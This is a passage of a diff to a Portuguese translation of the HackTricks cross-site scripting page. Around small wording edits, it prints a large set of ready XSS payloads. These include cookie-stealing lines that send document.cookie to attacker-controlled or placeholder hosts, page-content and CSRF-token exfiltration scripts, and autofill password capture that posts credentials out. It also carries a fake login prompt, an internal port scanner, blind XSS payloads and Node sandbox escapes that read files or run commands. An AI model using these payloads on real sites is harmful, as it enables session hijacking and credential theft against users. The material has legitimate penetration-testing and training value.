-Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**este**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
-Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
+Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
+Protocolos conhecidos: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.

 ### Apenas Letras, Números e Pontos

@ -895,8 +815,7 @@ Se você puder indicar o **callback** que o javascript vai **executar** limitado

 > Recusou-se a executar o script de '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME ('application/octet-stream') não é executável, e a verificação estrita do tipo MIME está ativada.

-Os únicos **tipos de conteúdo** que o Chrome suportará para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
-
+Os únicos **tipos de conteúdo**s que o Chrome suportará para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@ -918,20 +837,16 @@ const char* const kSupportedJavascriptTypes[] = {
 };

 ```
-
 ### Tipos de Scripts para XSS

 (De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Então, quais tipos podem ser indicados para carregar um script?
-
 ```html
 <script type="???"></script>
 ```
-
 A resposta é:

 * **módulo** (padrão, nada a explicar)
 * [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) em um arquivo **`.wbn`**.
-
 ```html
 <script type="webbundle">
 {
@ -941,9 +856,7 @@ A resposta é:
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
-
 * [**importmap**](https://github.com/WICG/import-maps)**:** Permite melhorar a sintaxe de importação
-
 ```html
 <script type="importmap">
 {
@ -960,11 +873,9 @@ import moment from "moment";
 import { partition } from "lodash";
 </script>
 ```
-
-Este comportamento foi utilizado neste [**artigo**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval e abusá-la para acionar XSS.
+Este comportamento foi utilizado neste [**artigo**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval e abusá-la pode acionar XSS.

 * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Este recurso é principalmente para resolver alguns problemas causados pelo pré-renderização. Funciona assim:
-
 ```html
 <script type="speculationrules">
 {
@ -980,7 +891,6 @@ Este comportamento foi utilizado neste [**artigo**](https://github.com/zwade/yac
 }
 </script>
 ```
-
 ### Tipos de Conteúdo da Web para XSS

 (De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
@ -999,7 +909,6 @@ Em outros navegadores outros **`Tipos de Conteúdo`** podem ser usados para exec
 ### Tipo de Conteúdo xml

 Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário:
-
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -1007,23 +916,21 @@ Se a página estiver retornando um tipo de conteúdo text/xml, é possível indi

 <!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
 ```
-
 ### Padrões de Substituição Especiais

 Quando algo como **`"alguns {{modelo}} dados".replace("{{modelo}}", <entrada_do_usuario>)`** é usado. O atacante poderia usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{modelo}} 456".replace("{{modelo}}", JSON.stringify({"nome": "$'$`alert(1)//"}))``

 Por exemplo, neste [**relatório**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.

-### Chrome Cache para XSS
+### Cache do Chrome para XSS

 {% content-ref url="chrome-cache-to-xss.md" %}
 [chrome-cache-to-xss.md](chrome-cache-to-xss.md)
 {% endcontent-ref %}

-### Escapando de Jaulas XS
+### Escape de Prisões XS

 Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas de XSJail:
-
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1054,36 +961,28 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-
 Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário:

 * Usando import()
-
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
-
 * Acessando `require` indiretamente

 [De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, como este:
-
 ```javascript
 (function (exports, require, module, __filename, __dirname) {
 // our actual module code
 });
 ```
-
-Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
+Portanto, se a partir desse módulo pudermos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:

 {% code overflow="wrap" %}
 ```javascript
 (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
 ```
-{% endcode %}
-
-De forma semelhante ao exemplo anterior, é possível **usar manipuladores de erro** para acessar o **wrapper** do módulo e obter a função **`require`**:
-
+Da mesma forma que no exemplo anterior, é possível **usar manipuladores de erro** para acessar o **invólucro** do módulo e obter a função **`require`**:
 ```javascript
 try {
 null.f()
@ -1120,7 +1019,6 @@ console.log(req('child_process').execSync('id').toString())
 }
 trigger()
 ```
-
 ### Ofuscação e Desvio Avançado

 * **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
@ -1133,7 +1031,6 @@ trigger()
 * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
-
 ```javascript
 //Katana
 <script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
@ -1157,7 +1054,6 @@ trigger()
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-
 ## Cargas úteis comuns de XSS

 ### Várias cargas úteis em 1
@ -1167,7 +1063,6 @@ trigger()
 {% endcontent-ref %}

 ### Recuperar Cookies
-
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1189,13 +1084,11 @@ trigger()
 <script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
-
 {% hint style="info" %}
 Você **não conseguirá acessar os cookies a partir do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte o suficiente.
 {% endhint %}

 ### Roubar Conteúdo da Página
-
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
 var attacker = "http://10.10.14.8/exfil";
@ -1208,9 +1101,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open('GET', url, true);
 xhr.send(null);
 ```
-
 ### Encontrar IPs internos
-
 ```html
 <script>
 var q = []
@ -1256,15 +1147,11 @@ q.shift()();
 }
 </script>
 ```
-
 ### Scanner de Portas (fetch)
-
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-
 ### Scanner de Portas (websockets)
-
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@ -1279,19 +1166,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-
 _As vezes curtas indicam uma porta respondendo_ _Tempos mais longos indicam falta de resposta._

-Revise a lista de portas banidas no Chrome [**aqui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e no Firefox [**aqui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Consulte a lista de portas banidas no Chrome [**aqui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e no Firefox [**aqui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).

 ### Caixa para solicitar credenciais
-
 ```markup
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-
 ### Captura de preenchimento automático de senhas
-
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@ -1302,7 +1185,6 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-
 Quando são introduzidos dados no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas.

 ### Keylogger
@ -1315,7 +1197,6 @@ Apenas pesquisando no github, encontrei alguns diferentes:
 * Você também pode usar o metasploit `http_javascript_keylogger`

 ### Roubo de tokens CSRF
-
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@ -1330,9 +1211,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-
 ### Roubo de mensagens PostMessage
-
 ```markup
 <img src="https://attacker.com/?" id=message>
 <script>
@ -1340,7 +1219,6 @@ window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
 </script>
 ```
-
 ### Explorando Service Workers

 {% content-ref url="abusing-service-workers.md" %}
@ -1357,10 +1235,9 @@ document.getElementById("message").src += "&"+e.data;

 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

-### Cargas úteis de XSS cegas
+### Cargas úteis Blind XSS

 Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
-
 ```markup
 "><img src='//domain/xss'>
 "><script src="//domain/xss.js"></script>
@ -1400,11 +1277,9 @@ Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
 <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 ```
+### Regex - Acesso a Conteúdo Oculto

-### Regex - Acessar Conteúdo Oculto
-
-A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível de ser encontrada mesmo após o valor da entrada do regex ter sido removido:
-
+A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível de ser encontrada mesmo após o valor da entrada do regex ter sido removido:
 ```javascript
 // Do regex with flag
 flag="CTF{FLAG}"
@ -1419,12 +1294,11 @@ console.log(RegExp.input)
 console.log(RegExp.rightContext)
 console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
 ```
-
-### Lista de Força Bruta
+### Lista de Brute-Force

 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

-## Explorando XSS em outras vulnerabilidades
+## XSS Abusando de outras vulnerabilidades

 ### XSS em Markdown

@ -1437,11 +1311,9 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
 ### XSS para SSRF

 Conseguiu um XSS em um **site que utiliza cache**? Tente **elevá-lo para SSRF** através da Injeção de Include do Lado do Servidor com este payload:
-
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-
 Use-o para contornar restrições de cookies, filtros XSS e muito mais!\
 Mais informações sobre essa técnica aqui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).

@ -1454,7 +1326,7 @@ Portanto, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele
 [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
 {% endcontent-ref %}

-Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados de PDF**:
+Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados em PDF**:

 {% content-ref url="pdf-injection.md" %}
 [pdf-injection.md](pdf-injection.md)
@ -1466,12 +1338,11 @@ AMP, com o objetivo de acelerar o desempenho da página da web em dispositivos m

 O formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.

-Exemplo de [**writeup XSS no Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Exemplo de [**XSS em Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).

-### XSS ao enviar arquivos (svg)
+### XSS ao carregar arquivos (svg)

 Faça o upload de um arquivo como a seguinte imagem (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
-
 ```markup
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@ -1527,16 +1398,15 @@ id="foo"/>
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
-
 Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)

-## Truques Misc JS & Informações Relevantes
+## Truques JS Misc & Informações Relevantes

 {% content-ref url="other-js-tricks.md" %}
 [other-js-tricks.md](other-js-tricks.md)
 {% endcontent-ref %}

-## Recursos de XSS
+## Recursos XSS

 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
 * [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
@ -1544,9 +1414,9 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**
 * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)

-<figure><img src="https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -1560,6 +1430,6 @@ Outras formas de apoiar o HackTricks:
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

 </details>